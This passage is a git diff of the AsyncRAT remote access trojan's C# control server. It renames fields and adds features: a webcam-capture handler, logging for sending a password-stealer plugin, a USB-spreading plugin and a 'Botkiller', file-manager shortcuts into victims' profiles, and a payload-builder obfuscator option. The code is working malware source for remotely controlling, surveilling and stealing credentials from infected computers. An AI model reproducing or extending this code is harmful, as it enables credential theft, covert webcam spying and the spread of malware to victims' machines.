Text = "fileManager:" + client.ID,
|
||||||
F = this,
|
F = this,
|
||||||
C = client
|
Client = client,
|
||||||
|
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "RemoteDesktop")
|
||||||
};
|
};
|
||||||
fileManager.Show();
|
fileManager.Show();
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
@ -754,13 +761,15 @@ namespace Server
|
|||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
||||||
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.StealerLib);
|
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery);
|
||||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients client = (Clients)itm.Tag;
|
Clients client = (Clients)itm.Tag;
|
||||||
client.LV.ForeColor = Color.Red;
|
client.LV.ForeColor = Color.Red;
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
new HandleLogs().Addmsg("Sending Password Recovery..", Color.Black);
|
||||||
|
tabControl1.SelectedIndex = 1;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
@ -788,7 +797,7 @@ namespace Server
|
|||||||
Name = "processManager:" + client.ID,
|
Name = "processManager:" + client.ID,
|
||||||
Text = "processManager:" + client.ID,
|
Text = "processManager:" + client.ID,
|
||||||
F = this,
|
F = this,
|
||||||
C = client
|
Client = client
|
||||||
};
|
};
|
||||||
processManager.Show();
|
processManager.Show();
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
@ -813,6 +822,8 @@ namespace Server
|
|||||||
Clients client = (Clients)itm.Tag;
|
Clients client = (Clients)itm.Tag;
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
new HandleLogs().Addmsg("Sending Botkiller..", Color.Black);
|
||||||
|
tabControl1.SelectedIndex = 1;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
@ -826,12 +837,14 @@ namespace Server
|
|||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
|
msgpack.ForcePathObject("Packet").AsString = "usbSpread";
|
||||||
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.HandleLimeUSB);
|
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginUsbSpread);
|
||||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
Clients client = (Clients)itm.Tag;
|
Clients client = (Clients)itm.Tag;
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
new HandleLogs().Addmsg("Sending USB Spread..", Color.Black);
|
||||||
|
tabControl1.SelectedIndex = 1;
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
@ -1078,7 +1091,7 @@ namespace Server
|
|||||||
Name = "shell:" + client.ID,
|
Name = "shell:" + client.ID,
|
||||||
Text = "shell:" + client.ID,
|
Text = "shell:" + client.ID,
|
||||||
F = this,
|
F = this,
|
||||||
C = client
|
Client = client
|
||||||
};
|
};
|
||||||
shell.Show();
|
shell.Show();
|
||||||
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
@ -1142,7 +1155,7 @@ namespace Server
|
|||||||
|
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
msgpack.ForcePathObject("Packet").AsString = "recoveryPassword";
|
||||||
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.StealerLib);
|
msgpack.ForcePathObject("Plugin").SetAsBytes(Properties.Resources.PluginRecovery);
|
||||||
ListViewItem lv = new ListViewItem();
|
ListViewItem lv = new ListViewItem();
|
||||||
lv.Text = "Recovery Password";
|
lv.Text = "Recovery Password";
|
||||||
lv.SubItems.Add("0");
|
lv.SubItems.Add("0");
|
||||||
@ -1238,5 +1251,40 @@ namespace Server
|
|||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void WebcamToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
if (listView1.SelectedItems.Count > 0)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "webcam";
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "getWebcams";
|
||||||
|
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||||
|
{
|
||||||
|
Clients client = (Clients)itm.Tag;
|
||||||
|
this.BeginInvoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
FormWebcam remoteDesktop = (FormWebcam)Application.OpenForms["Webcam:" + client.ID];
|
||||||
|
if (remoteDesktop == null)
|
||||||
|
{
|
||||||
|
remoteDesktop = new FormWebcam
|
||||||
|
{
|
||||||
|
Name = "Webcam:" + client.ID,
|
||||||
|
F = this,
|
||||||
|
Text = "Webcam:" + client.ID,
|
||||||
|
ParentClient = client,
|
||||||
|
FullPath = Path.Combine(Application.StartupPath, "ClientsFolder", client.ID, "Camera")
|
||||||
|
};
|
||||||
|
remoteDesktop.Show();
|
||||||
|
ThreadPool.QueueUserWorkItem(client.Send, msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
}));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
24
AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs
generated
24
AsyncRAT-C#/Server/Forms/FormBuilder.Designer.cs
generated
@ -88,8 +88,8 @@ namespace Server.Forms
|
|||||||
this.btnIcon = new System.Windows.Forms.Button();
|
this.btnIcon = new System.Windows.Forms.Button();
|
||||||
this.picIcon = new System.Windows.Forms.PictureBox();
|
this.picIcon = new System.Windows.Forms.PictureBox();
|
||||||
this.tabPage6 = new System.Windows.Forms.TabPage();
|
this.tabPage6 = new System.Windows.Forms.TabPage();
|
||||||
this.btnBuild = new System.Windows.Forms.Button();
|
|
||||||
this.chkObfu = new System.Windows.Forms.CheckBox();
|
this.chkObfu = new System.Windows.Forms.CheckBox();
|
||||||
|
this.btnBuild = new System.Windows.Forms.Button();
|
||||||
this.groupBox1.SuspendLayout();
|
this.groupBox1.SuspendLayout();
|
||||||
this.groupBox2.SuspendLayout();
|
this.groupBox2.SuspendLayout();
|
||||||
this.groupBox3.SuspendLayout();
|
this.groupBox3.SuspendLayout();
|
||||||
@ -720,6 +720,16 @@ namespace Server.Forms
|
|||||||
this.tabPage6.Text = "Build";
|
this.tabPage6.Text = "Build";
|
||||||
this.tabPage6.UseVisualStyleBackColor = true;
|
this.tabPage6.UseVisualStyleBackColor = true;
|
||||||
//
|
//
|
||||||
|
// chkObfu
|
||||||
|
//
|
||||||
|
this.chkObfu.AutoSize = true;
|
||||||
|
this.chkObfu.Location = new System.Drawing.Point(18, 148);
|
||||||
|
this.chkObfu.Name = "chkObfu";
|
||||||
|
this.chkObfu.Size = new System.Drawing.Size(166, 24);
|
||||||
|
this.chkObfu.TabIndex = 2;
|
||||||
|
this.chkObfu.Text = "Simple Obfuscator";
|
||||||
|
this.chkObfu.UseVisualStyleBackColor = true;
|
||||||
|
//
|
||||||
// btnBuild
|
// btnBuild
|
||||||
//
|
//
|
||||||
this.btnBuild.Location = new System.Drawing.Point(18, 196);
|
this.btnBuild.Location = new System.Drawing.Point(18, 196);
|
||||||
@ -730,18 +740,6 @@ namespace Server.Forms
|
|||||||
this.btnBuild.UseVisualStyleBackColor = true;
|
this.btnBuild.UseVisualStyleBackColor = true;
|
||||||
this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click);
|
this.btnBuild.Click += new System.EventHandler(this.BtnBuild_Click);
|
||||||
//
|
//
|
||||||
// chkObfu
|
|
||||||
//
|
|
||||||
this.chkObfu.AutoSize = true;
|
|
||||||
this.chkObfu.Checked = true;
|
|
||||||
this.chkObfu.CheckState = System.Windows.Forms.CheckState.Checked;
|
|
||||||
this.chkObfu.Location = new System.Drawing.Point(18, 148);
|
|
||||||
this.chkObfu.Name = "chkObfu";
|
|
||||||
this.chkObfu.Size = new System.Drawing.Size(166, 24);
|
|
||||||
this.chkObfu.TabIndex = 2;
|
|
||||||
this.chkObfu.Text = "Simple Obfuscator";
|
|
||||||
this.chkObfu.UseVisualStyleBackColor = true;
|
|
||||||
//
|
|
||||||
// FormBuilder
|
// FormBuilder
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
|
@ -3,7 +3,7 @@ using System.Windows.Forms;
|
|||||||
using Server.Helper;
|
using Server.Helper;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
using System.Security.Cryptography;
|
using System.Security.Cryptography;
|
||||||
using Server.Cryptography;
|
using Server.Algorithm;
|
||||||
using System.Security.Cryptography.X509Certificates;
|
using System.Security.Cryptography.X509Certificates;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using Vestris.ResourceLib;
|
using Vestris.ResourceLib;
|
||||||
@ -13,6 +13,7 @@ using System.Linq;
|
|||||||
using dnlib.DotNet.Emit;
|
using dnlib.DotNet.Emit;
|
||||||
using Server.RenamingObfuscation;
|
using Server.RenamingObfuscation;
|
||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
|
using System.Diagnostics;
|
||||||
|
|
||||||
namespace Server.Forms
|
namespace Server.Forms
|
||||||
{
|
{
|
||||||
|
@ -53,7 +53,7 @@
|
|||||||
this.button1.Location = new System.Drawing.Point(11, 129);
|
this.button1.Location = new System.Drawing.Point(11, 129);
|
||||||
this.button1.Name = "button1";
|
this.button1.Name = "button1";
|
||||||
this.button1.Size = new System.Drawing.Size(149, 39);
|
this.button1.Size = new System.Drawing.Size(149, 39);
|
||||||
this.button1.TabIndex = 2;
|
this.button1.TabIndex = 0;
|
||||||
this.button1.Text = "OK";
|
this.button1.Text = "OK";
|
||||||
this.button1.UseVisualStyleBackColor = true;
|
this.button1.UseVisualStyleBackColor = true;
|
||||||
this.button1.Click += new System.EventHandler(this.Button1_Click);
|
this.button1.Click += new System.EventHandler(this.Button1_Click);
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using Microsoft.VisualBasic;
|
using Microsoft.VisualBasic;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
@ -17,7 +17,7 @@ namespace Server.Forms
|
|||||||
public partial class FormChat : Form
|
public partial class FormChat : Form
|
||||||
{
|
{
|
||||||
public Form1 F { get; set; }
|
public Form1 F { get; set; }
|
||||||
internal Clients C { get; set; }
|
internal Clients Client { get; set; }
|
||||||
private string Nickname = "Admin";
|
private string Nickname = "Admin";
|
||||||
public FormChat()
|
public FormChat()
|
||||||
{
|
{
|
||||||
@ -32,7 +32,7 @@ namespace Server.Forms
|
|||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "chatWriteInput";
|
msgpack.ForcePathObject("Packet").AsString = "chatWriteInput";
|
||||||
msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text;
|
msgpack.ForcePathObject("Input").AsString = Nickname + ": " + textBox1.Text;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
textBox1.Clear();
|
textBox1.Clear();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -47,7 +47,7 @@ namespace Server.Forms
|
|||||||
Nickname = nick;
|
Nickname = nick;
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "chat";
|
msgpack.ForcePathObject("Packet").AsString = "chat";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -55,12 +55,16 @@ namespace Server.Forms
|
|||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "chatExit";
|
msgpack.ForcePathObject("Packet").AsString = "chatExit";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
|
|
||||||
private void Timer1_Tick(object sender, EventArgs e)
|
private void Timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!C.ClientSocket.Connected) this.Close();
|
try
|
||||||
|
{
|
||||||
|
if (!Client.TcpClient.Connected) this.Close();
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,5 +1,5 @@
|
|||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
|
@ -11,7 +11,7 @@ using System.Threading;
|
|||||||
using System.Threading.Tasks;
|
using System.Threading.Tasks;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using FastColoredTextBoxNS;
|
using FastColoredTextBoxNS;
|
||||||
using Microsoft.CSharp;
|
using Microsoft.CSharp;
|
||||||
using Microsoft.VisualBasic;
|
using Microsoft.VisualBasic;
|
||||||
@ -324,6 +324,10 @@ End Namespace
|
|||||||
{
|
{
|
||||||
MessageBox.Show(ex.Message, "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
|
MessageBox.Show(ex.Message, "AsyncRAT | Dot Net Editor", MessageBoxButtons.OK, MessageBoxIcon.Exclamation);
|
||||||
}
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
//GC.Collect();
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -1,4 +1,4 @@
|
|||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Collections.Generic;
|
using System.Collections.Generic;
|
||||||
using System.ComponentModel;
|
using System.ComponentModel;
|
||||||
@ -13,29 +13,30 @@ using System.IO;
|
|||||||
using System.Net.Sockets;
|
using System.Net.Sockets;
|
||||||
using Timer = System.Threading.Timer;
|
using Timer = System.Threading.Timer;
|
||||||
using Server.Helper;
|
using Server.Helper;
|
||||||
|
using Server.Algorithm;
|
||||||
|
|
||||||
namespace Server.Forms
|
namespace Server.Forms
|
||||||
{
|
{
|
||||||
public partial class FormDownloadFile : Form
|
public partial class FormDownloadFile : Form
|
||||||
{
|
{
|
||||||
|
public Form1 F { get; set; }
|
||||||
|
internal Clients Client { get; set; }
|
||||||
|
public long FileSize = 0;
|
||||||
|
private long BytesSent = 0;
|
||||||
|
public string FullFileName;
|
||||||
|
public string ClientFullFileName;
|
||||||
|
private bool IsUpload = false;
|
||||||
|
|
||||||
public FormDownloadFile()
|
public FormDownloadFile()
|
||||||
{
|
{
|
||||||
InitializeComponent();
|
InitializeComponent();
|
||||||
}
|
}
|
||||||
|
|
||||||
public Form1 F { get; set; }
|
|
||||||
internal Clients C { get; set; }
|
|
||||||
public long dSize = 0;
|
|
||||||
private long BytesSent = 0;
|
|
||||||
public string fullFileName;
|
|
||||||
public string clientFullFileName;
|
|
||||||
private bool isUpload = false;
|
|
||||||
private void timer1_Tick(object sender, EventArgs e)
|
private void timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!isUpload)
|
if (!IsUpload)
|
||||||
{
|
{
|
||||||
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(C.BytesRecevied)}";
|
labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(Client.BytesRecevied)}";
|
||||||
if (C.BytesRecevied >= dSize)
|
if (Client.BytesRecevied >= FileSize)
|
||||||
{
|
{
|
||||||
labelsize.Text = "Downloaded";
|
labelsize.Text = "Downloaded";
|
||||||
labelsize.ForeColor = Color.Green;
|
labelsize.ForeColor = Color.Green;
|
||||||
@ -44,8 +45,8 @@ namespace Server.Forms
|
|||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
labelsize.Text = $"{Methods.BytesToString(dSize)} \\ {Methods.BytesToString(BytesSent)}";
|
labelsize.Text = $"{Methods.BytesToString(FileSize)} \\ {Methods.BytesToString(BytesSent)}";
|
||||||
if (BytesSent >= dSize)
|
if (BytesSent >= FileSize)
|
||||||
{
|
{
|
||||||
labelsize.Text = "Uploaded";
|
labelsize.Text = "Uploaded";
|
||||||
labelsize.ForeColor = Color.Green;
|
labelsize.ForeColor = Color.Green;
|
||||||
@ -58,7 +59,7 @@ namespace Server.Forms
|
|||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
C?.Disconnected();
|
Client?.Disconnected();
|
||||||
timer1?.Dispose();
|
timer1?.Dispose();
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -66,33 +67,31 @@ namespace Server.Forms
|
|||||||
|
|
||||||
public void Send(object obj)
|
public void Send(object obj)
|
||||||
{
|
{
|
||||||
lock (C.SendSync)
|
lock (Client.SendSync)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
{
|
{
|
||||||
isUpload = true;
|
IsUpload = true;
|
||||||
byte[] msg = (byte[])obj;
|
byte[] msg = (byte[])obj;
|
||||||
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
byte[] buffersize = BitConverter.GetBytes(msg.Length);
|
||||||
C.ClientSocket.Poll(-1, SelectMode.SelectWrite);
|
Client.TcpClient.Poll(-1, SelectMode.SelectWrite);
|
||||||
C.ClientSslStream.Write(buffersize);
|
Client.SslClient.Write(buffersize);
|
||||||
C.ClientSslStream.Flush();
|
Client.SslClient.Flush();
|
||||||
int chunkSize = 50 * 1024;
|
int chunkSize = 50 * 1024;
|
||||||
byte[] chunk = new byte[chunkSize];
|
byte[] chunk = new byte[chunkSize];
|
||||||
using (MemoryStream buffereReader = new MemoryStream(msg))
|
using (MemoryStream buffereReader = new MemoryStream(msg))
|
||||||
|
using (BinaryReader binaryReader = new BinaryReader(buffereReader))
|
||||||
{
|
{
|
||||||
BinaryReader binaryReader = new BinaryReader(buffereReader);
|
|
||||||
int bytesToRead = (int)buffereReader.Length;
|
int bytesToRead = (int)buffereReader.Length;
|
||||||
do
|
do
|
||||||
{
|
{
|
||||||
chunk = binaryReader.ReadBytes(chunkSize);
|
chunk = binaryReader.ReadBytes(chunkSize);
|
||||||
bytesToRead -= chunkSize;
|
bytesToRead -= chunkSize;
|
||||||
C.ClientSslStream.Write(chunk);
|
Client.SslClient.Write(chunk);
|
||||||
C.ClientSslStream.Flush();
|
Client.SslClient.Flush();
|
||||||
BytesSent += chunk.Length;
|
BytesSent += chunk.Length;
|
||||||
} while (bytesToRead > 0);
|
} while (bytesToRead > 0);
|
||||||
|
Client?.Disconnected();
|
||||||
binaryReader.Close();
|
|
||||||
C?.Disconnected();
|
|
||||||
}
|
}
|
||||||
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
@ -101,7 +100,12 @@ namespace Server.Forms
|
|||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
C?.Disconnected();
|
Client?.Disconnected();
|
||||||
|
Program.form1.BeginInvoke((MethodInvoker)(() =>
|
||||||
|
{
|
||||||
|
labelsize.Text = "Error";
|
||||||
|
labelsize.ForeColor = Color.Red;
|
||||||
|
}));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
88
AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
generated
88
AsyncRAT-C#/Server/Forms/FormFileManager.Designer.cs
generated
@ -39,6 +39,9 @@
|
|||||||
this.gOTOToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.gOTOToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.dESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.dESKTOPToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.aPPDATAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.aPPDATAToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.userProfileToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
|
this.toolStripSeparator2 = new System.Windows.Forms.ToolStripSeparator();
|
||||||
|
this.driversListsToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
|
this.toolStripSeparator1 = new System.Windows.Forms.ToolStripSeparator();
|
||||||
this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.downloadToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.uPLOADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
this.uPLOADToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
@ -55,6 +58,8 @@
|
|||||||
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
|
this.toolStripStatusLabel2 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||||
this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel();
|
this.toolStripStatusLabel3 = new System.Windows.Forms.ToolStripStatusLabel();
|
||||||
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
this.timer1 = new System.Windows.Forms.Timer(this.components);
|
||||||
|
this.toolStripSeparator3 = new System.Windows.Forms.ToolStripSeparator();
|
||||||
|
this.openClientFolderToolStripMenuItem = new System.Windows.Forms.ToolStripMenuItem();
|
||||||
this.contextMenuStrip1.SuspendLayout();
|
this.contextMenuStrip1.SuspendLayout();
|
||||||
this.statusStrip1.SuspendLayout();
|
this.statusStrip1.SuspendLayout();
|
||||||
this.SuspendLayout();
|
this.SuspendLayout();
|
||||||
@ -97,21 +102,23 @@
|
|||||||
this.pasteToolStripMenuItem,
|
this.pasteToolStripMenuItem,
|
||||||
this.dELETEToolStripMenuItem,
|
this.dELETEToolStripMenuItem,
|
||||||
this.toolStripSeparator4,
|
this.toolStripSeparator4,
|
||||||
this.createFolderToolStripMenuItem});
|
this.createFolderToolStripMenuItem,
|
||||||
|
this.toolStripSeparator3,
|
||||||
|
this.openClientFolderToolStripMenuItem});
|
||||||
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
this.contextMenuStrip1.Name = "contextMenuStrip1";
|
||||||
this.contextMenuStrip1.Size = new System.Drawing.Size(190, 368);
|
this.contextMenuStrip1.Size = new System.Drawing.Size(241, 439);
|
||||||
//
|
//
|
||||||
// backToolStripMenuItem
|
// backToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.backToolStripMenuItem.Name = "backToolStripMenuItem";
|
this.backToolStripMenuItem.Name = "backToolStripMenuItem";
|
||||||
this.backToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.backToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.backToolStripMenuItem.Text = "Back";
|
this.backToolStripMenuItem.Text = "Back";
|
||||||
this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);
|
this.backToolStripMenuItem.Click += new System.EventHandler(this.backToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// rEFRESHToolStripMenuItem
|
// rEFRESHToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem";
|
this.rEFRESHToolStripMenuItem.Name = "rEFRESHToolStripMenuItem";
|
||||||
this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.rEFRESHToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.rEFRESHToolStripMenuItem.Text = "Refresh";
|
this.rEFRESHToolStripMenuItem.Text = "Refresh";
|
||||||
this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click);
|
this.rEFRESHToolStripMenuItem.Click += new System.EventHandler(this.rEFRESHToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
@ -119,88 +126,110 @@
|
|||||||
//
|
//
|
||||||
this.gOTOToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
this.gOTOToolStripMenuItem.DropDownItems.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
this.dESKTOPToolStripMenuItem,
|
this.dESKTOPToolStripMenuItem,
|
||||||
this.aPPDATAToolStripMenuItem});
|
this.aPPDATAToolStripMenuItem,
|
||||||
|
this.userProfileToolStripMenuItem,
|
||||||
|
this.toolStripSeparator2,
|
||||||
|
this.driversListsToolStripMenuItem});
|
||||||
this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem";
|
this.gOTOToolStripMenuItem.Name = "gOTOToolStripMenuItem";
|
||||||
this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.gOTOToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.gOTOToolStripMenuItem.Text = "Go To";
|
this.gOTOToolStripMenuItem.Text = "Go To";
|
||||||
//
|
//
|
||||||
// dESKTOPToolStripMenuItem
|
// dESKTOPToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.dESKTOPToolStripMenuItem.Name = "dESKTOPToolStripMenuItem";
|
this.dESKTOPToolStripMenuItem.Name = "dESKTOPToolStripMenuItem";
|
||||||
this.dESKTOPToolStripMenuItem.Size = new System.Drawing.Size(192, 34);
|
this.dESKTOPToolStripMenuItem.Size = new System.Drawing.Size(204, 34);
|
||||||
this.dESKTOPToolStripMenuItem.Text = "DESKTOP";
|
this.dESKTOPToolStripMenuItem.Text = "Desktop";
|
||||||
this.dESKTOPToolStripMenuItem.Click += new System.EventHandler(this.DESKTOPToolStripMenuItem_Click);
|
this.dESKTOPToolStripMenuItem.Click += new System.EventHandler(this.DESKTOPToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// aPPDATAToolStripMenuItem
|
// aPPDATAToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.aPPDATAToolStripMenuItem.Name = "aPPDATAToolStripMenuItem";
|
this.aPPDATAToolStripMenuItem.Name = "aPPDATAToolStripMenuItem";
|
||||||
this.aPPDATAToolStripMenuItem.Size = new System.Drawing.Size(192, 34);
|
this.aPPDATAToolStripMenuItem.Size = new System.Drawing.Size(204, 34);
|
||||||
this.aPPDATAToolStripMenuItem.Text = "APPDATA";
|
this.aPPDATAToolStripMenuItem.Text = "AppData";
|
||||||
this.aPPDATAToolStripMenuItem.Click += new System.EventHandler(this.APPDATAToolStripMenuItem_Click);
|
this.aPPDATAToolStripMenuItem.Click += new System.EventHandler(this.APPDATAToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
|
// userProfileToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.userProfileToolStripMenuItem.Name = "userProfileToolStripMenuItem";
|
||||||
|
this.userProfileToolStripMenuItem.Size = new System.Drawing.Size(204, 34);
|
||||||
|
this.userProfileToolStripMenuItem.Text = "User Profile";
|
||||||
|
this.userProfileToolStripMenuItem.Click += new System.EventHandler(this.UserProfileToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
|
// toolStripSeparator2
|
||||||
|
//
|
||||||
|
this.toolStripSeparator2.Name = "toolStripSeparator2";
|
||||||
|
this.toolStripSeparator2.Size = new System.Drawing.Size(201, 6);
|
||||||
|
//
|
||||||
|
// driversListsToolStripMenuItem
|
||||||
|
//
|
||||||
|
